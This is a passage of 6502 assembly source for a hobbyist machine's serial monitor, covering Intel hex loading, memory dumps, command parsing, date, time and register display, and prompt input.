clc ; Clear carry bit lda CUR_ADDR ; Load LSB into A adc #1 ; Add 1 sta CUR_ADDR ; Store the result in LSB bcc inc_cur_addr_end ; If result does not roll over(FF -> 00), then end subroutine inc CUR_ADDR+1 ; IF it does, then add 1 to MSB inc_cur_addr_end: sec ; Carry set indicates incrementation done pla rts mem_io_map: ldx #<mem_io_map_msg ; Get LSB address of msg ldy #>mem_io_map_msg ; Get MSB address of msg jsr print_string ; Write message rts ; _ _ _ _ _ _ ; (_) _ __ | |_ ___ | | | |__ ___ __ __ | | ___ __ _ __| | ; | | | '_ \ | __| / _ \ | | | '_ \ / _ \ \ \/ / | | / _ \ / _` | / _` | ; | | | | | | | |_ | __/ | | | | | | | __/ > < | | | (_) | | (_| | | (_| | ; |_| |_| |_| \__| \___| |_| _____ |_| |_| \___| /_/\_\ _____ |_| \___/ \__,_| \__,_| ; |_____| |_____| ; ; Download Intel hex. Start .org at $1000 ; (From the 6502.org code repository with a little modification) ; ---------------------------------------------------------------------------------------------------------------------- intel_hex_load: stz DOWNLOAD_FAIL ; Start by assuming no download failure ldx #<starthex ; Get LSB address of message ldy #>starthex ; Get MSB address of message jsr print_string ; Write message hex_get_record: jsr read_char bcc hex_get_record cmp #ESC ; Has ESCAPE key been pressed? bne hex_get_start ; Go check for record marker ldx #<transferaborted ; Get LSB address of message ldy #>transferaborted ; Get MSB address of message jsr print_string ; Write message rts ; Exit hex_get_start: cmp #":" ; Start of record marker bne hex_get_record ; not found yet ; START OF RECORD MARKER HAS BEEN FOUND ; READ RECORD LENGTH jsr read_hex ; Get the record length sta RECORD_LENGTH ; Save it the record length sta CHECKSUM ; and save first byte of checksum ; READ THE ADDRESS jsr read_hex ; Get the high part of start address sta START+1 ; clc ; adc CHECKSUM ; Add in the checksum sta CHECKSUM ; jsr read_hex ; Get the low part of the start address sta START ; clc ; adc CHECKSUM ; Add in the checksum sta CHECKSUM ; ; READ RECORD TYPE jsr read_hex ; Get the record type sta RECORD_TYPE ; and save it clc ; adc CHECKSUM ; Add in the checksum sta CHECKSUM ; lda RECORD_TYPE ; beq hex_get_data ; Get data cmp #1 beq hex_end_of_file ; Get End of file record cmp #2 beq hex_get_record ; Bypass remaining data of record, and get for next record ; UNKNOWN RECORD TYPE ldx #<unknownrecordtype ; Get LSB address of message ldy #>unknownrecordtype ; Get MSB address of message jsr print_string ; Write message lda RECORD_TYPE ; Get record type jsr print_byte ; Print it lda #CR ; But we'll let it finish so as not to falsely start a new d/l from existing rts ; Exit if any other record type ; GET RECORD TYPE 00 (DATA) hex_get_data: ldx RECORD_LENGTH ; Number of data bytes to write to memory ldy #0 ; Start offset at 0 hex_get_data_loop: jsr read_hex ; Get the first/next/last data byte sta (START),y ; Save it to RAM clc adc CHECKSUM ; Add in the checksum sta CHECKSUM ; iny ; Update data pointer dex ; Decrement count bne hex_get_data_loop ; Continue transfering data until count is 0 jsr read_hex ; Get the checksum clc adc CHECKSUM bne hex_failure ; If failed, report it lda #"." ; Character indicating record OK = '.' jsr print_char ; Write it out jmp hex_get_record ; Get next record ; FAILED CHECKSUM, INDICATE RECORD THAT FAILED hex_failure: lda #'x' ; Character indicating record failure = 'F' sta DOWNLOAD_FAIL ; Download failed if non-zero jsr print_char ; write it out jmp hex_get_record ; Wait for next record start ; EOF RECORD (01) hex_end_of_file: ; We've reached the end-of-record record jsr read_hex ; Get the checksum clc adc CHECKSUM ; Add previous checksum accumulator value beq hex_download_check ; Checksum = 0 means we're OK! ldx #<badrecordchecksum ; Get LSB address of message ldy #>badrecordchecksum ; Get MSB address of message jsr print_string ; Write message rts ; PRINTS STATUS OF DOWNLOAD (SUCCESS OR FAILED) hex_download_check: lda DOWNLOAD_FAIL ; beq hex_download_success ; Check D/L fail flag ldx #<downloadfailed ; Get LSB address of message ldy #>downloadfailed ; Get MSB address of message jsr print_string ; Write message rts hex_download_success: ldx #<downloadsuccessful ; Get LSB address of message ldy #>downloadsuccessful ; Get MSB address of message jsr print_string ; Write message lda #$10 ; Set CUR_ADDR to $1000 sta CUR_ADDR+1 ; stz CUR_ADDR ; rts ; _ __ ___ ___ _ __ ___ ___ _ __ _ _ ; | '_ ` _ \ / _ \ | '_ ` _ \ / _ \ | '__| | | | | ; | | | | | | | __/ | | | | | | | (_) | | | | |_| | ; |_| |_| |_| \___| |_| |_| |_| \___/ |_| \__, | ; |___/ ; ; Reads and displays a portion of memory (memory dump) ; ---------------------------------------------------------------------------------------------------------------------- ; GET COMMAND LINE START ADDRESS IF ANY ; ------------------------------------- memory: ; CHECK FOR EOL AND " " DELIMITER lda IN_BUFFER,y ; Read a character from the input buffer beq memory_default_addr ; Is it end of buffer (0)? Yes, so use default address (CUR_ADDR) cmp #" " ; Is it the space delimiter? beq memory_start_addr ; Yes it is. Then go read an address jsr syntax_error ; If anything else, print a syntax error jmp memory_end ; Go to end of routine memory_default_addr: ; IF NO ADDRESS PROVIDED, GET CUR ADDRESS USED +1 lda CUR_ADDR+1 ; Read the MSB's last address used sta SRC_ADDR+1 ; Store it as the start address lda CUR_ADDR ; Read the LSB's last address used sta SRC_ADDR ; Store it as the start address bra memory_hex_dump ; memory_start_addr: ; GET START ADDRESS jsr skip_spaces ; skip leading spaces if any jsr get_word ; Get address from the input buffer bcs memory_store_start ; Valid word is present, store address jsr invalid_address ; Display invalid address message jmp memory_end ; No valid word is present, then send end parsing memory_store_start: ; STORE START ADDRESS lda WORD ; Load LSB from get_word sta SRC_ADDR ; Store LSB to start address register sta CUR_ADDR ; Store it in the current address (LSB) lda WORD+1 ; Load MSB from get_word sta SRC_ADDR+1 ; Store MSB to start address register sta CUR_ADDR+1 ; Store it in the current address (MSB) memory_hex_dump: ; PRINT HEX DUMP stz MON_TEMP+1 ; Set line counter to 0 ; PRINT ADDRESS, OPCODE AND OPERAND VALUES memory_looplines: ; PRINT 16-BIT ADDRESS AT THE BEGINNING OF EACH LINE ; PRINT ADDRESS lda CUR_ADDR+1 ; Load address MSB jsr print_byte ; Prints MSB lda CUR_ADDR ; Load address LSB jsr print_byte ; Prints LSB lda #":" ; Fetch colon ":" delimiter for byte display jsr print_char ; Print it lda #" " ; Fetch the space character jsr print_char ; Print it ldx #$00 ; Set byte counter to 0 memory_loopbytes: ; PRINT X BYTES PER LINE stz MON_TEMP r_lb0: jsr memory_ffff ; Is address $FFFF? bcc r_lb1 ; No, then proceed to display the byte normally lda #1 ; Yes, is it the first time FFFF appears? cmp MON_TEMP ; beq r_lb1 ; lda #" " ; Else, if it's $FFF print spaces jsr print_char ; One for the MSB jsr print_char ; Another for the LSB jsr print_char ; And lastly, the separator bra r_lb2 ; Proceed with the byte loop r_lb1: lda (CUR_ADDR) ; Load byte from referenced address jsr print_byte ; Print the byte lda #" " ; Separate bytes with a space jsr print_char ; Print the space separator r_lb2: jsr inc_cur_addr ; Increment current address counter by one inx ; Increment byte counter cpx #BYTES_PER_LINE ; Is it the predefined amount of bytes? bne r_lb0 ; No? Then contine printing bytes memory_print_characters: ; PRINT CHARACTER REPRESENTATION OF BYTES lda #"|" ; Fetch the pipe "|" separator character jsr print_char ; Print it lda #" " ; Fetch the space character jsr print_char ; Print it lda SRC_ADDR ; Reload start address sta CUR_ADDR ; Into the temporary location lda SRC_ADDR+1 ; Reload start address sta CUR_ADDR+1 ; Into the temporary location ldx #$00 ; Reset counter to 0 to be the character counter memory_loopchars: ; PRINT 8 CHARACTERS, OR 16 CHARACTERS PER LINE stz MON_TEMP r_lc: jsr memory_ffff ; Is address $FFFF? bcc r_lc0 ; No, then proceed to display the character normally lda #1 cmp MON_TEMP beq r_lc0 lda #" " ; Else, jsr print_char ; print a space bra r_lc3 ; Proceed with character loop r_lc0: lda (CUR_ADDR) ; Load character from referenced address cmp #" " ; ASCII decimal 32 (Space) bcc r_lc1 ; Is A < 20? Yes? Then output error 0. cmp #$7F ; ASCII decimal 127? (DEL) bcs r_lc1 ; Is A >= 127? Yes? Then output error 0. bra r_lc2 ; Otherwise, returns A as is. r_lc1: lda #"." ; It's an invalid character, replace it with a dot r_lc2: jsr print_char ; Print valid character r_lc3: jsr inc_cur_addr ; Increment temp address by one inx ; Increment character counter cpx #BYTES_PER_LINE ; Is it the predefined amount of characters? bne r_lc ; No, then proceed to the next character lda #CR ; Fetch the new line character jsr print_char ; Print it inc MON_TEMP+1 ; Increment line counter ; UPDATE ADDRESSES lda CUR_ADDR ; Load last address LSB sta SRC_ADDR ; Store it as the new start address LSB lda CUR_ADDR+1 ; Load last address LSB sta SRC_ADDR+1 ; Store it as the new start address LSB ; IF $FFFF REACHED, THEN STOP DISPLAYING MORE LINES lda MON_TEMP+1 jsr memory_ffff ; Is current address $FFFF? bcc r_nxt ; No lda #ROWS-2 ; Else end printing lines r_nxt: cmp #ROWS-2 beq memory_end jmp memory_looplines ; Finished displaying lines memory_end: ; IF CUR ADDRESS WAS $FFFF THEN ROLL OVER TO $0000 jsr memory_ffff ; Is current address $FFFF? bcc r_e2 stz CUR_ADDR ; Set address to 0000 stz CUR_ADDR+1 ; r_e2: rts ; Check if end of address reached ($FFFF) ; Carry set if $FFFF memory_ffff: pha lda CUR_ADDR+1 ; Load last address MSB cmp #$FF ; Is it $FF? bne rm_ffff_no ; No, then end routine lda CUR_ADDR ; Load last address LSB cmp #$FF ; Is it $FF? bne rm_ffff_no ; No, then end routine rm_ffff_yes: inc MON_TEMP sec pla rts rm_ffff_no: clc pla rts ; _ _ _ _ ____ _ ; _ __ (_) | |__ | |__ | | ___ |___ \ _ __ _ _ _ __ ___ ___ _ __ (_) ___ ; | '_ \ | | | '_ \ | '_ \ | | / _ \ __) | | '_ \ | | | | | '_ ` _ \ / _ \ | '__| | | / __| ; | | | | | | | |_) | | |_) | | | | __/ / __/ | | | | | |_| | | | | | | | | __/ | | | | | (__ ; |_| |_| |_| |_.__/ |_.__/ |_| \___| |_____| |_| |_| \__,_| |_| |_| |_| \___| |_| |_| \___| ; ; Convert the ASCII nibble to numeric value from 0-F ; ---------------------------------------------------------------------------------------------------------------------- ; Value to convert in A ; Returns nibble in A nibble2numeric: cmp #"9"+1 ; See if it's 0-9 or 'A'..'F' (no lowercase yet) bcc nib2num ; If we borrowed, we lost the carry so 0..9 sbc #7+1 ; Subtract off extra 7 (sbc subtracts off one less) nib2num: ; If we fall through, carry is set unlike direct entry at nib2num sbc #"0"-1 ; Subtract off '0' (if carry clear coming in) and #$0F ; No upper nibble no matter what rts ; Return the nibble ; _ __ __ _ _ __ ___ ___ ; | '_ \ / _` | | '__| / __| / _ \ ; | |_) | | (_| | | | \__ \ | __/ ; | .__/ \__,_| |_| |___/ \___| ; |_| ; Parse monitor command line ; ---------------------------------------------------------------------------------------------------------------------- parse2: ldy #0 ; Set IN_BUFFER index to first character jsr skip_spaces ; Remove leading spaces lda IN_BUFFER,y ; Load a character cmp #0 ; Is the string empty? bne parse_command ; No, then proceed to remove leading spaces bra parse_end ; Yes, then end parsing parse_command: jsr uppercase ; Converts character to uppercase iny ; Increment input buffer pointer inc ERROR_PTR ; Increment error pointer location ; JUMP TABLE parse_fill: cmp #"F" ; Is it the FILL command? bne parse_memory ; If it's not, the proceed to next command jmp fill_mem ; Execute command parse_memory: cmp #"M" ; Is it the READ MEMORY command? bne parse_write ; If it's not, the proceed to next command jmp memory ; Execute command parse_write: cmp #"W" ; Is it the WRITE command? bne parse_zero ; If not, then proceed to the next command jmp write_mem ; Execute command parse_zero: cmp #"Z" ; Is it the WRITE command? bne parse_end ; If not, then proceed to the next command jmp zero_mem ; Execute command parse_end: rts cmd_address = $80 cmd_assemble = $81 ; tbc cmd_diagnostics = $82 cmd_disassemble = $83 cmd_find = $84 ; tbc cmd_fill = $85 cmd_memory = $86 cmd_help = $87 cmd_load = $88 cmd_map = $89 cmd_peek = $8A ; tbc cmd_poke = $8B cmd_run = $8C cmd_register = $8D cmd_save = $8E ; tbc cmd_zero = $8F parse: ldy #$00 ; Input buffer pointer ldx #$00 ; Command pointer jsr skip_spaces ; Skip leading spaces (alters input buffer pointer y) sty PARSE_IN_BUFF_POS ; Store the real posision of first character in buffer lda ERROR_PTR sta PARSE_ERROR_PTR parse_next_char: lda commands,x ; Load a command character beq parse_no_cmd ; If no command is recognized or valid, end parsing bmi parse_is_cmd ; If it's a command code, go to command cmp IN_BUFFER,y ; Compare it with input buffer bne parse_skip_cmd ; if not equal, go to next command by skipping the rest of the command letters iny ; Increment input buffer pointer inx ; Increment command pointer inc ERROR_PTR ; Increment Error pointer bra parse_next_char ; Grab the next character parse_skip_cmd: ; BACKUP TO ORIGINAL POSITION ldy PARSE_IN_BUFF_POS lda PARSE_ERROR_PTR sta ERROR_PTR ; SKIP CHARACTERS UNTIL COMMAND CODE IS DETECTED parse_skip_until_code: inx lda commands,x bpl parse_skip_until_code inx bra parse_next_char parse_no_cmd: rts parse_is_cmd: cmp #cmd_address bne parse_is_cmd2 jmp address parse_is_cmd2: cmp #cmd_diagnostics bne parse_is_cmd3 jmp diagnostics parse_is_cmd3: cmp #cmd_disassemble bne parse_is_cmd4 jmp disassemble parse_is_cmd4: cmp #cmd_fill bne parse_is_cmd5 jmp fill_mem parse_is_cmd5: cmp #cmd_help bne parse_is_cmd6 jmp help parse_is_cmd6: cmp #cmd_load bne parse_is_cmd7 jmp intel_hex_load parse_is_cmd7: cmp #cmd_map bne parse_is_cmd8 jmp mem_io_map parse_is_cmd8: cmp #cmd_memory bne parse_is_cmd9 jmp memory parse_is_cmd9: cmp #cmd_poke bne parse_is_cmd10 jmp write_mem parse_is_cmd10: cmp #cmd_run bne parse_is_cmd11 jmp go_exec parse_is_cmd11: cmp #cmd_register bne parse_is_cmd12 jmp registers parse_is_cmd12: cmp #cmd_zero bne parse_no_cmd jmp zero_mem commands: .byte "ADDR", cmd_address ; Set current address for commands requiring only one parameter like diag, mem, run, etc. .byte "DIAG", cmd_diagnostics ; Diagnose RAM .byte "DIS", cmd_disassemble ; Disassemble memory .byte "FILL", cmd_fill ; Fill a region of memory with a byte .byte "HELP", cmd_help ; Help for various commands .byte "LOAD", cmd_load ; Load a program using Intel Hex (Perhaps x-modem soon) .byte "MAP", cmd_map ; Display memory map of computer .byte "MEM", cmd_memory ; Memory dump .byte "POKE", cmd_poke ; Poke a value at a specific memory location .byte "RUN", cmd_run ; Run a loaded or assembled program .byte "REG", cmd_register ; Display register values (tbc) .byte "SAVE", cmd_save ; Save code or a region of memory (tbc) .byte "ZERO", cmd_zero ; Zero out a region of memory .byte $00 ; End of commands ; _ _ _ _ ; _ __ _ __ (_) _ __ | |_ | |__ _ _ | |_ ___ ; | '_ \ | '__| | | | '_ \ | __| | '_ \ | | | | | __| / _ \ ; | |_) | | | | | | | | | | |_ | |_) | | |_| | | |_ | __/ ; | .__/ |_| |_| |_| |_| \__| _____ |_.__/ \__, | \__| \___| ; |_| |_____| |___/ ; Prints a HEX representation of a byte ;----------------------------------------------------------------------------------------------------------------------- ; INPUT: Byte in A print_byte: ;pha ; jsr print_upper_nibble ; Print first nibble to terminal jsr print_lower_nibble ; Print second nibble to terminal ;pla ; rts ; _ _ _ ; _ __ _ __ (_) _ __ | |_ ___ | |__ __ _ _ __ ; | '_ \ | '__| | | | '_ \ | __| / __| | '_ \ / _` | | '__| ; | |_) | | | | | | | | | | |_ | (__ | | | | | (_| | | | ; | .__/ |_| |_| |_| |_| \__| _____ \___| |_| |_| \__,_| |_| ; |_| |_____| ; Write character to ACIA1 (Rockwell) - If using a WD65C51, use a delay instead of checking the transmit buffer flag ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: Character to print in A print_char: pha ; Save A, the character to send, for later use print_char_delay: lda ACIA1_STATUS ; Check if the transmit buffer is empty and #$10 ; Isolate transmit buffer flag from register beq print_char_delay ; 1 = buffer clear, 0 = buffer not empty pla ; Restore A with character to send sta ACIA1_DATA ; Transmit character that is in A to the ACIA rts ; _ _ _ _ ; _ __ _ __ (_) _ __ | |_ __| | __ _ | |_ ___ ; | '_ \ | '__| | | | '_ \ | __| / _` | / _` | | __| / _ \ ; | |_) | | | | | | | | | | |_ | (_| | | (_| | | |_ | __/ ; | .__/ |_| |_| |_| |_| \__| _____ \__,_| \__,_| \__| \___| ; |_| |_____| ; Prints date ; ---------------------------------------------------------------------------------------------------------------------------------- ; INPUT: A SHORT = Short format (2022-02-16) ; MEDIUM = medium format (February 16, 2022) ; LONG = Long format (Wednesday, February 16, 2022) print_date: pha lda #$40 ; Bit 6 = Read bit sta RTC_CTRL ; Halt the timekeeper register to be able to read it pla ; DETERMINE WHICH DATE FORMAT TO PRINT print_date_format: cmp #SHORT ; Is it the short format beq print_date_short ; Yes cmp #MEDIUM ; Is it the medium format beq print_date_medium ; Yes, if not then print long format. ; PRINT WEEK DAY ldx #0 ; Set day index to zero day_search: lda day,x ; Get data pointed by X cmp #$FF bne day_search2 jmp print_date_end day_search2: inx ; Point to next piece of data for next loop cmp RTC_DAY ; Does the data correlate to the day of the week? bne day_search ; No, then search again print_day: lda day,x ; Load character beq print_day_end ; Once null character reached, end printing day of week jsr print_char ; Print character inx ; Point to next character bra print_day ; Loop to get next character print_day_end: lda #"," ; Print comma jsr print_char ; lda #" " ; Print space jsr print_char ; ; PRINT MONTH print_date_medium: ldx #0 ; Set month index to zero month_search: lda month,x ; Get data pointed by X cmp #$FF bne month_search2 jmp print_date_end month_search2: inx ; Point to next piece of data for next loop cmp RTC_MONTH ; Does the data correlate to the month? bne month_search ; No, then search again month_print_loop: lda month,x ; Load character pointed by X beq month_print_end ; Once null character reached, end subroutine jsr print_char ; Print character inx ; Increment pointer bra month_print_loop ; Get next character month_print_end: lda #" " ; Load the space character jsr print_char ; Print it ; PRINT DATE lda RTC_DATE ; Load the date cmp #10 ; Is if bigger then 10? bcc date_print_1digit ; If not, then print 1 digit date jsr print_upper_nibble ; If its 10 or higher, print 2 digits date_print_1digit: jsr print_lower_nibble lda #"," ; Load the comma character jsr print_char ; Print it lda #" " ; Load the space character jsr print_char ; Print it ; PRINT YEAR lda #"2" ; Load up "2" digit jsr print_char ; print the thousanth's digit of the year lda #"0" ; Load up "0" digit jsr print_char ; Print the hundreth's digit of the year lda RTC_YEAR ; Load the year from RTC jsr print_byte ; Print it bra print_date_end print_date_short: lda #"2" jsr print_char lda #"0" jsr print_char lda RTC_YEAR jsr print_byte lda #"-" jsr print_char lda RTC_MONTH jsr print_byte lda #"-" jsr print_char lda RTC_DATE jsr print_byte print_date_end: stz RTC_CTRL ; Resumes the timekeeper updates rts ; _ _ _ _ _ _ ; _ __ _ __ (_) _ __ | |_ _ __ (_) | |__ | |__ | | ___ ; | '_ \ | '__| | | | '_ \ | __| | '_ \ | | | '_ \ | '_ \ | | / _ \ ; | |_) | | | | | | | | | | |_ | | | | | | | |_) | | |_) | | | | __/ ; | .__/ |_| |_| |_| |_| \__| _____ |_| |_| |_| |_.__/ |_.__/ |_| \___| ; |_| |_____| ; Print lower nibble from a byte ;----------------------------------------------------------------------------------------------------------------------------------- ; INPUT: Byte in A print_upper_nibble: pha ; phy ; lsr ; Move MSB nibble to LSB position lsr ; " lsr ; " lsr ; " and #$0F ; tay ; Index A for first nibble lda hexascii,y ; Load ascii value according to index jsr print_char ; Print first nibble to terminal ply ; pla ; rts print_lower_nibble: pha ; phy and #$0F ; Isolate LSB nibble tay ; Index A for second nibble lda hexascii,y ; Load ascii value according to index jsr print_char ; Print second nibble to terminal ply ; pla ; rts ; _ _ _ _ ; _ __ _ __ (_) _ __ | |_ ___ | |_ _ __ (_) _ __ __ _ ; | '_ \ | '__| | | | '_ \ | __| / __| | __| | '__| | | | '_ \ / _` | ; | |_) | | | | | | | | | | |_ \__ \ | |_ | | | | | | | | | (_| | ; | .__/ |_| |_| |_| |_| \__| _____ |___/ \__| |_| |_| |_| |_| \__, | ; |_| |_____| |___/ ; Print a string of any length to the ACIA ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: Pass address of string in X (LOW BYTE) and Y (HIGH BYTE) ; VARIABLE: Using TEMP print_string: pha ; Save A stx TEMP ; Store address LSB of the string to print sty TEMP+1 ; Store address MSB of the string to print ldy #0 ; Clear pointer print_string_loop: lda (TEMP),y ; Load character pointed by Y beq print_string_end ; Once null character reached, end subroutine jsr print_char ; Print character iny ; Increment pointer bne print_string_loop ; If pointer didn't roll over to 0, print next character inc TEMP+1 ; Increment MSB to print a string longer then 256 characters bra print_string_loop ; Go read more characters print_string_end: pla ; Restore A rts ; Done ; _ _ _ _ ; _ __ _ __ (_) _ __ | |_ | |_ (_) _ __ ___ ___ ; | '_ \ | '__| | | | '_ \ | __| | __| | | | '_ ` _ \ / _ \ ; | |_) | | | | | | | | | | |_ | |_ | | | | | | | | | __/ ; | .__/ |_| |_| |_| |_| \__| _____ \__| |_| |_| |_| |_| \___| ; |_| |_____| ; Prints time ; ---------------------------------------------------------------------------------------------------------------------------------- ; INPUT: A 12 = 12 hour format (9:43 PM) ; 24 = 24 hour format (21:43:00) print_time: pha lda #$40 ; Bit 6 = Read bit sta RTC_CTRL ; Halt the timekeeper register to be able to read it pla cmp #12 ; Is it the 12 hour format? beq print_time12 ; Yes, then print 12 hour format time, else, print 24 hour format ; 24 HOUR FORMAT lda RTC_HOURS jsr print_byte lda #":" jsr print_char lda RTC_MINUTES jsr print_byte lda #":" jsr print_char lda RTC_SECONDS jsr print_byte bra print_time_end print_time12: ; 12 HOUR FORMAT lda RTC_HOURS cmp #$12 beq print_time_noon bcs print_time_pm ; Is time above noon? print_time_am: ;lda RTC_HOURS jsr print_byte lda #":" jsr print_char lda RTC_MINUTES jsr print_byte lda #" " jsr print_char lda #"A" jsr print_char lda #"M" jsr print_char bra print_time_end print_time_pm: sec ; Set carry for substraction sbc $12 ; Substract 12 from 24 hour format print_time_noon: jsr print_byte lda #":" jsr print_char lda RTC_MINUTES jsr print_byte lda #" " jsr print_char lda #"P" jsr print_char lda #"M" jsr print_char print_time_end: stz RTC_CTRL ; Resumes the timekeeper updates rts ; _ _ ; _ __ ___ __ _ __| | ___ | |__ __ _ _ __ ; | '__| / _ \ / _` | / _` | / __| | '_ \ / _` | | '__| ; | | | __/ | (_| | | (_| | | (__ | | | | | (_| | | | ; |_| \___| \__,_| \__,_| _____ \___| |_| |_| \__,_| |_| ; |_____| ; Read character from ACIA1 (non-waiting) ; ---------------------------------------------------------------------------------------------------------------------- ; OUTPUT: Carry bit clear = no character received. ; Carry bit set = character received in A. read_char: clc ; No character present lda ACIA1_STATUS ; Load ACIA1 status register and #$08 ; Is there a character in the buffer? beq read_char_end ; If not then end subroutine lda ACIA1_DATA ; Read character from ACIA buffer sec ; Set carry flag to indicate a character is available read_char_end: rts ; Done ; _ _ ; _ __ ___ __ _ __| | | |__ ___ __ __ ; | '__| / _ \ / _` | / _` | | '_ \ / _ \ \ \/ / ; | | | __/ | (_| | | (_| | | | | | | __/ > < ; |_| \___| \__,_| \__,_| _____ |_| |_| \___| /_/\_\ ; |_____| ; ; Convert two ASCII hexadecimal characters from serial terminal to 8-bit binary ; ---------------------------------------------------------------------------------------------------------------------- ; Result in A ; Destroys TEMP read_hex: jsr read_char ; Read first character from ACIA bcc read_hex ; If character not present, then read from ACIA again jsr nibble2numeric ; Convert to 0..F numeric asl a ; Shift value to MSB asl a ; asl a ; asl a ; This is the upper nibble and #$F0 ; Clear LSB sta TEMP ; Store MSB in TEMP for merging after processing LSB read_hex2: jsr read_char ; Read second character from ACIA bcc read_hex2 ; If character not present, then read from ACIA again jsr nibble2numeric ; Convert to 0..F numeric ora TEMP ; Merge MSB (TEMP) and LSB (A) rts ; return byte in A ; _ _ ; _ __ ___ __ _ __| | _ __ _ __ ___ _ __ ___ _ __ | |_ ; | '__| / _ \ / _` | / _` | | '_ \ | '__| / _ \ | '_ ` _ \ | '_ \ | __| ; | | | __/ | (_| | | (_| | | |_) | | | | (_) | | | | | | | | |_) | | |_ ; |_| \___| \__,_| \__,_| _____ | .__/ |_| \___/ |_| |_| |_| | .__/ \__| ; |_____| |_| |_| ; Read string from command prompt from input device ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: n/a ; OUTPUT: Carry bit clear = no string recorded ; Carry bit set = string in IN_BUFFER read_prompt: ldy #0 ; Set input buffer to 0 read_prompt_readchar: jsr read_char ; Get a character from the terminal, if available bcs read_prompt_interpret ; If one is present, interpret keystroke bra read_prompt_readchar ; Loop until one is present read_prompt_interpret: cmp #CR ; Is it the Carriage Return key? beq read_prompt_printCR ; Yes, then end string read ** cmp #BS ; Is it the Backspace key? beq read_prompt_backspace ; Yes, then delete previous character cmp #ESC ; Is it the Escape key? beq read_prompt_escape ; Yes! bmi read_prompt_readchar ; Don't accept ASCII character above or equal to 128? cpy #33 ; Has it reached 33 characters? bne read_prompt_storechar ; Get next character, but if above 127 characters, auto escape bra read_prompt_backspace ; Erase last character, as to not type more. read_prompt_escape: jsr delete_char ; delete characters up to beginning of line bra read_prompt_readchar ; Indicates there is no data in buffer read_prompt_backspace: cpy #0 ; Is it the first character in the string? beq read_prompt_readchar ; No characters present, go get a new character dey ; Decrement text index lda #BS ; Go back one character, jsr print_char ; in terminal lda #" " ; Go overwite previous character, jsr print_char ; in terminal lda #BS ; Go back one character again, jsr print_char ; in terminal bra read_prompt_readchar ; Go read next character read_prompt_storechar: jsr print_char ; Print character on terminal sta IN_BUFFER,y ; Add to the text buffer iny ; Increment buffer temporary pointer bra read_prompt_readchar ; No? Read another character read_prompt_printCR: jsr print_char ; Print carriage return ; cpy #0 ; bne read_prompt_normal_CR ; bra read_prompt_end read_prompt_normal_CR: lda #0 ; Add a null sta IN_BUFFER,y ; To the input buffer string read_prompt_end: sec ; Indicates there is data in input buffer rts ; _ _ ; _ __ ___ __ _ (_) ___ | |_ ___ _ __ ___ ; | '__| / _ \ / _` | | | / __| | __| / _ \ | '__| / __| ; | | | __/ | (_| | | | \__ \ | |_ | __/ | | \__ \ ; |_| \___| \__, | |_| |___/ \__| \___| |_| |___/ ; |___/ ; Prints the registers and processor status ; ---------------------------------------------------------------------------------------------------------------------- registers: ; PRINT THE PROGRAM COUNTER lda #"P" ; P for the program counter jsr print_char ; Print it lda #"C" ; C for the program counter jsr print_char ; Print it lda #":" ; Colon for the separator jsr print_char ; Print it lda PROC_PC+1 ; Load MSB jsr print_byte ; lda PROC_PC ; Load LSB jsr print_byte lda #" " ; Space for the separator jsr print_char ; Print it ; PRINT THE ACCUMULATOR lda #"A" ; A for the accumulator jsr print_char ; Print it lda #":" ; Colon for the separator jsr print_char ; Print it lda PROC_A ; Load the A register jsr print_byte ; Print it lda #" " ; Space for the separator jsr print_char ; Print it ; PRINT THE X REGISTER lda #"X" ; X for the X register jsr print_char ; Print it lda #":" ; Colon for the separator jsr print_char ; Print it lda PROC_X ; Load the X register jsr print_byte ; Print it lda #" " ; Space for the separator jsr print_char ; Print it ; PRINT THE Y REGISTER lda #"Y" ; Y for the Y register jsr print_char ; Print it lda #":" ; Colon for the separator jsr print_char ; Print it lda PROC_Y ; Load the Y register jsr print_byte ; Print it lda #" " ; Space for the separator jsr print_char ; Print it ; PRINT THE STATUS FLAGS lda #"F" ; F for FLAGS jsr print_char ; Print it lda #":" ; Colon for the separator jsr print_char ; Print it lda PROC_FLAGS ; Load status register and #$80 ; Filter bit 7 (negative) beq p_neg1 lda #"n" bra p_neg2 p_neg1: lda #"N" p_neg2: jsr print_char ; Print N/n" lda PROC_FLAGS ; Load status register and #$40 ; Filter bit 6 (overflow) beq p_ovr1 lda #"v" bra p_ovr2 p_ovr1: lda #"V" p_ovr2: jsr print_char ; Print V/v lda PROC_FLAGS ; Load status register and #$20 ; Filter bit 5 beq p_b1 lda #"b" bra p_b2 p_b1: lda #"B" p_b2: jsr print_char ; Print B/b lda PROC_FLAGS ; Load status register and #$10 ; Filter bit 4 beq p_b3 lda #"b" bra p_b4 p_b3: lda #"B" p_b4: jsr print_char ; Print B/b lda PROC_FLAGS ; Load status register and #$08 ; Filter bit 3 (Decimal) beq p_dec1 lda #"d" bra p_dec2 p_dec1: lda #"D" p_dec2: jsr print_char ; Print D/d lda PROC_FLAGS ; Load status register and #$04 ; Filter bit 2 (Interrupt) beq p_int1 lda #"i" bra p_int2 p_int1: lda #"I" p_int2: jsr print_char ; Print I/i lda PROC_FLAGS ; Load status register and #$02 ; Filter bit 1 (Zero) beq p_zer1 lda #"z" bra p_zer2 p_zer1: lda #"Z" p_zer2: jsr print_char ; Print Z/z lda PROC_FLAGS ; Load status register and #$01 ; Filter bit 0 (Carry) beq p_car1 lda #"c" bra p_car2 p_car1: lda #"C" p_car2: jsr print_char ; Print C/c lda #CR jsr print_char ; Print carriage return rts ; _ _ ; ___ | | __ (_) _ __ ___ _ __ __ _ ___ ___ ___ ; / __| | |/ / | | | '_ \ / __| | '_ \ / _` | / __| / _ \ / __| ; \__ \ | < | | | |_) | \__ \ | |_) | | (_| | | (__ | __/ \__ \ ; |___/ |_|\_\ |_| | .__/ _____ |___/ | .__/ \__,_| \___| \___| |___/ ; |_| |_____| |_| ; ; Skip spaces from INPUT_BUFFER at current index IN_BUFFER_PTR ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: Y (current position) ; OUTPUT: Y (new position) skip_spaces: pha skip_spaces_loop: lda IN_BUFFER,y ; Load character cmp #" " ; Is it a space? bne skip_spaces_end ; Not a space? Then end subroutine iny ; Increment index for next character inc ERROR_PTR ; Increment pointer to next potential error location bra skip_spaces_loop ; Go and read another character skip_spaces_end: pla rts ; _ _ _ __ _ __ ___ _ __ ___ __ _ ___ ___ ; | | | | | '_ \ | '_ \ / _ \ | '__| / __| / _` | / __| / _ \ ; | |_| | | |_) | | |_) | | __/ | | | (__ | (_| | \__ \ | __/ ; \__,_| | .__/ | .__/ \___| |_| \___| \__,_| 